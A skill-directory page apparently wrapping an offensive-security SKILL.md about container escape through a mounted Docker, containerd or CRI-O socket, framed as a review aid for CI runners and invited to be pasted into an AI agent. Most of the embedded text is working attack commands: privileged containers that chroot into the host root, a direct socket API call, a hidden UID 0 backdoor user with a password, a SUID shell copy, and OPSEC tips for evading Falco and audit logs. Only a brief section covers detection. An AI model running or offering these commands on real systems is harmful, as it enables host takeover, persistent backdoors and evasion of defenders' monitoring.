docker-socket-mount
What it does
This skill covers a common container setup where the Docker or containerd socket is mounted inside a container, which effectively grants root on the host. It is for platform and security teams who review CI runners and GitOps tools.
When to use it
- βWhen a platform team asks the agent to find containers that have the Docker or containerd socket mounted.
- βWhen the agent reviews CI runners, GitOps controllers or Docker-in-Docker setups for this exposure.
- βWhen an audit report must explain why a mounted socket is a serious risk.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/container/docker-socket-mount/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βDo any of our CI runner containers have the Docker socket mounted inside them?β
5 new skills a week. 1 minute to read.
How it works
The agent checks the container mounts and socket paths for each runner, reports any socket found, and explains the host-level risk.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
Docker / Containerd Socket Mount Escape
A container with /var/run/docker.sock or /run/containerd/containerd.sock mounted in is fully equivalent to root on the host. This is one of the most common findings in CI/CD environments.
Detect
ls -la /var/run/docker.sock /run/docker.sock /var/run/containerd/containerd.sock /run/containerd/containerd.sock 2>&1 | grep -v 'No such'
mount | grep -E 'docker\.sock|containerd\.sock'
# CRI-O variant
ls -la /var/run/crio/crio.sock 2>&1
Exploit β Docker socket
# Launch a privileged container that mounts the host root
docker run --rm -it --privileged -v /:/host alpine chroot /host /bin/sh
# Done β you're root on the host.
# If `docker` binary isn't in your container, install it or talk to the API directly:
apk add docker-cli 2>/dev/null || apt-get install -y docker.io 2>/dev/null
# Or use curl on the UNIX socket:
curl --unix-socket /var/run/docker.sock -X POST -H 'Content-Type: application/json' \
-d '{"Image":"alpine","Cmd":["chroot","/host","/bin/sh","-c","id > /host/tmp/owned"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}' \
http://localhost/containers/create
Exploit β containerd socket
# ctr is the containerd CLI
ctr -a /run/containerd/containerd.sock images pull docker.io/library/alpine:latest
ctr -a /run/containerd/containerd.sock run --rm -t --privileged \
--mount type=bind,src=/,dst=/host,options=rbind \
docker.io/library/alpine:latest escape sh -c 'chroot /host'
# OR via crictl (often present where ctr isn't):
crictl --runtime-endpoint unix:///run/containerd/containerd.sock pull alpine
# crictl exec is more limited β fall back to API:
nerdctl --address /run/containerd/containerd.sock run --rm -it --privileged -v /:/host alpine chroot /host
Exploit β CRI-O socket
crictl --runtime-endpoint unix:///var/run/crio/crio.sock pods
# Same pattern as containerd.
Common attack contexts
| Context | Why the socket is mounted |
|---|---|
| Jenkins/GitLab CI runners | Build Docker images inside the build container |
| ArgoCD / Flux | Run pre-/post-sync hooks that build images |
| Docker-in-Docker (DinD) in K8s | Same β build pipelines, kaniko alternatives |
| Diagnostic sidecars | Container-level metrics/log shippers |
| Buildkit daemon w/ ungated rootless socket | Same primitive, less restricted env |
Persistence
# Inside the escaped host, drop a backdoor:
chroot /host useradd -ou 0 -g 0 -m -s /bin/bash backdoor
echo 'backdoor:plaintext' | chroot /host chpasswd
# Or grant SUID:
cp /host/bin/bash /host/tmp/.x; chroot /host chmod +s /tmp/.x
OPSEC
- The Docker API logs every container create (
/var/log/docker.logor journald). Use a benign-sounding image name. - Falco rules
attach_drop_capability,escape_to_host_namespaceflag this exactly. If Falco is present, use the long-form HTTP API call (one request) rather thandocker run(multiple). - CRI-O auditing logs every
RunPodSandboxβ same evasion approach.
Detection (defender lens, useful for triage)
- Pod-spec scanning (admission controllers β OPA Gatekeeper, Kyverno) blocks
hostPath: /var/run/docker.sockat admit time. - Falco rule
Mount docker.sockcatches the runtime case. - AppArmor profile
docker-defaultdoesn't block this β needs custom profile.
FAQ
Why is a mounted socket so serious?
The skill says anyone who can talk to the socket can start a privileged container with the host's files, which equals host root.
Which setups are most common?
The skill names CI runners, ArgoCD and Flux controllers, Docker-in-Docker and Jenkins agents.
What should be done about it?
The skill points to removing the mount or using safer build tools, and the team decides the fix.
Details
Original description by the author
Docker / containerd socket mounted into a container β host RCE. Common in CI runners, GitOps controllers (ArgoCD, Flux), and 'Docker-in-Docker' setups. Single-command escape via `docker run --rm --privileged -v /:/host alpine chroot /host`.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #13989
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.